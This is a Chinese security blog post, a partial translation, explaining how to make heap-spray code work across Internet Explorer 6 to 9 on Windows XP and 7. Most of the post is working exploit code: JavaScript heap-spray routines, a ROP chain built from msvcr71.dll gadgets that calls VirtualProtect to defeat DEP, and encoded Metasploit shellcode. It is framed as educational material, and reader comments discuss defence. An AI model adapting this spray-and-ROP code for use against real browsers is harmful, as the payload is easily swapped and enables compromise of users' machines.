首页 > 恶意代码, 缓冲区溢出 > [译]各种IE版本下的堆喷射技术

[译]各种IE版本下的堆喷射技术

最近我在学习为一些古老的漏洞编写exploit,以使得它们能够在Windows 7 + IE9下正常运行。之前在利用漏洞的时候我的PoC都一直是在Windows XP + IE6下测试的,仅仅是为了确定它们确实可以正常工作,而不用担心在以后的版本中的问题。在这篇文章中我仅仅是分享一些基本信息,这对第一次编写/理解exploit的人来说应该非常有帮助,同时尽可能使得这些信息简单易懂并且不考虑性能和精确性。在之前的exploit中,当在IE6下测试的时候我使用了如下的Heap Spray(堆喷射)代码

(译注:①本文为不完全翻译,原文链接在本文末尾;②就和作者所说的一样,%u在显示的时候果然是一团糟,已经全部使用%q替换):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<SCRIPT language="JavaScript"> 
    var calc, chunk_size, headersize, nopsled, nopsled_len;
    var heap_chunks, i;
    calc = unescape("%qcccc%qcccc");
    chunk_size = 0x40000;
    headersize = 0x24;
    nopsled = unescape("%q0c0c%q0c0c");
    nopsled_len = chunk_size - (headersize + calc.length);
    while (nopsled.length < nopsled_len)
        nopsled += nopsled;
    nopsled = nopsled.substring(0, nopsled_len);
    heap_chunks = new Array();
    for (i = 0 ; i < 1000 ; i++)
        heap_chunks[i] = nopsled + calc;
</SCRIPT>

从IE8开始有了新的变化,并不仅仅只是支持DEP的问题,上面的Heap Spray(堆喷射)代码无法将ShellCode喷射到堆上面了。在检阅了其他一些exploit之后我意识到上面的代码中我确切需要改变的是使用substring函数来进行堆喷射,所以代码看起来是下面这个样子:

1
2
3
4
code = nopsled + calc;
heap_chunks = new Array();
for (i = 0 ; i < 1000 ; i++)
   heap_chunks[i] = code.substring(0, code.length);

这段堆喷射代码在Windows 7 + IE9下面又无法使用了,在阅读了Peter Van Eeckhoutte介绍如何在IE9下实现堆喷射的Heap Spray Tutorial之后,我发现只需要给每一块数据改变一个字节即可。所以最终的堆喷射代码就是给每一块数据加一个计数来使得每一块数据都是不一样的:

1
2
3
4
5
for (i = 0 ; i < 1000 ; i++)
{    
   codewithnum = i + code;
   heap_chunks[i] = codewithnum.substring(0, codewithnum.length);
}

这段代码现在可以在所有版本的IE下进行Heap Spray了,并且可以在任何不支持DEP的机器上执行我们的payload。在开启了DEP的机器上我们需要一个ROP链来确保我们的代码是可以被执行的。我打算使用mona.py在msvcr71.dll上生成的ROP链,msvcr71.dll由Java6装载且不具备ASLR特性。让每一块数据仅仅在末尾有一个ROP链和一份ShellCode,而不是在一块数据上有多份ShellCode,这样更改nopshed的值即可:

1
nopsled = unescape("%q6224%q7c37"); // 0x7c376224 RETN [MSVCR71.dll]

把所有的数据整合起来,我们就得到了一份能够在IE6/7/8/9下工作的脚本了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
<SCRIPT language="JavaScript"> 
    function padnum(n, numdigits)
    {
        n = n.toString();
        var pnum = '';
        if (numdigits > n.length)
        {
            for (z = 0; z < (numdigits - n.length); z++)
            pnum += '0';
        }
        return pnum + n.toString();
    }
    var rop, calc, chunk_size, headersize, nopsled, nopsled_len, code;
    var heap_chunks, i, codewithnum;
    //        
    // !mona rop -m msvcr71.dll
    // * changed from default mona rop chain output
    //
    rop = unescape(
    "%q2e4d%q7c36" +   //  0x7c362e4d, # POP EBP # RETN
    "%q2e4d%q7c36" +   //  0x7c362e4d, # skip 4 bytes
    "%qf053%q7c34" +   //  0x7c34f053, # POP EBX # RETN
    "%q00c8%q0000" +   //  0x000000c8, # 0x000000c8-> ebx (size 200 bytes) *
    "%q4364%q7c34" +   //  0x7c344364, # POP EDX # RETN
    "%q0040%q0000" +   //  0x00000040, # 0x00000040-> edx
    "%qf62d%q7c34" +   //  0x7c34f62d, # POP ECX # RETN
    "%qe945%q7c38" +   //  0x7c38e945, # &Writable location
    "%q496e%q7c36" +   //  0x7c36496e, # POP EDI # RETN
    "%q6c0b%q7c34" +   //  0x7c346c0b, # RETN (ROP NOP)
    "%q2adb%q7c37" +   //  0x7c372adb, # POP ESI # RETN
    "%q15a2%q7c34" +   //  0x7c3415a2, # JMP [EAX]
    "%q4edc%q7c34" +   //  0x7c344edc, # POP EAX # RETN
    "%qa151%q7c37" +   //  0x7c37a151, # ptr to &VirtualProtect() - 0x0EF  *
    "%q8c81%q7c37" +   //  0x7c378c81, # PUSHAD # ADD AL,0EF # RETN
    "%q5c30%q7c34");   //  0x7c345c30, # ptr to 'push esp #  ret '
    //
    // ruby msfpayload windows/exec cmd=calc.exe J
    // windows/exec - 200 bytes
    // http://www.metasploit.com
    // VERBOSE=false, EXITFUNC=process, CMD=calc.exe
    //
    calc = unescape(
    "%qe8fc%q0089%q0000%q8960%q31e5%q64d2%q528b%q8b30" +
    "%q0c52%q528b%q8b14%q2872%qb70f%q264a%qff31%qc031" +
    "%q3cac%q7c61%q2c02%qc120%q0dcf%qc701%qf0e2%q5752" +
    "%q528b%q8b10%q3c42%qd001%q408b%q8578%q74c0%q014a" +
    "%q50d0%q488b%q8b18%q2058%qd301%q3ce3%q8b49%q8b34" +
    "%qd601%qff31%qc031%qc1ac%q0dcf%qc701%qe038%qf475" +
    "%q7d03%q3bf8%q247d%qe275%q8b58%q2458%qd301%q8b66" +
    "%q4b0c%q588b%q011c%q8bd3%q8b04%qd001%q4489%q2424" +
    "%q5b5b%q5961%q515a%qe0ff%q5f58%q8b5a%qeb12%q5d86" +
    "%q016a%q858d%q00b9%q0000%q6850%q8b31%q876f%qd5ff" +
    "%qf0bb%qa2b5%q6856%q95a6%q9dbd%qd5ff%q063c%q0a7c" +
    "%qfb80%q75e0%qbb05%q1347%q6f72%q006a%qff53%q63d5" +
    "%q6c61%q2e63%q7865%q0065");
    //
    chunk_size = 0x40000;
    headersize = 0x24;
    nopsled = unescape("%q6224%q7c37"); // 0x7c376224 RETN [MSVCR71.dll]
    nopsled_len = chunk_size - (headersize + rop.length + calc.length);
    while (nopsled.length < nopsled_len)
        nopsled += nopsled;
    nopsled = nopsled.substring(0, nopsled_len);
    code = nopsled + rop + calc;                             
    heap_chunks = new Array();
    for (i = 0 ; i < 1000 ; i++)
    {
        codewithnum = padnum(i,4) + code;
        heap_chunks[i] = codewithnum.substring(0, codewithnum.length);
    }
</SCRIPT>

下面的两张图展示了一个数据块的内容:
IE Heapspray 各种IE版本下的堆喷射技术
IE Heapspray 各种IE版本下的堆喷射技术
需要注意的一点是上面弹计算器的ShellCode的大小是200个字节,这个大小需要写入到ROP链上。因为ShellCode位于每一块数据的末尾,如果传给VirtualProtect的size大于我们的ShellCode的大小,那么它将会处理超过这个数据的内存进而因为访问非法地址而触发异常。

在Windows 7上需要确保安装了Java 6,因为msvcr71.dll来自于Java 6并且不是ASLR的,如果安装的是Java 7那么就需要另外找ROP链了,因为Java 7的所有模块都ASLR了。Windows XP没有ALSR特性。

原文:Heap spraying in Internet Explorer with rop nops
不完整翻译。


觉得文章还不错?点击此处对作者进行打赏!


本文地址: 程序人生 >> [译]各种IE版本下的堆喷射技术
作者:代码疯子(Wins0n) 本站内容如无声明均属原创,转载请保留作者信息与原文链接,谢谢!


更多



  1. 2012年12月1日00:01 | #1

    博主可以写一些和咱们日常应用密切相关的文章哈,比如:如何防止IE浏览器或系统的漏洞被利用之类的。

    [回复]

    代码疯子 回复:

    @茶话汇, 呵呵 那个通常来说没什么好写的。基本安全常识就够了,及时打补丁,不点击陌生链接,不上不良网站等等,当然也可以不使用IE浏览器,呵呵

    [回复]

    robert 回复:

    @代码疯子, 我认为还是有一些写的,比如把高深的技术的实现环节用普通的语言写出来,比如教大家如何使用沙盘浏览器,解释一些沙盘的概念。我想这是1楼的意思。

    [回复]

  1. 本文目前尚无任何 trackbacks 和 pingbacks.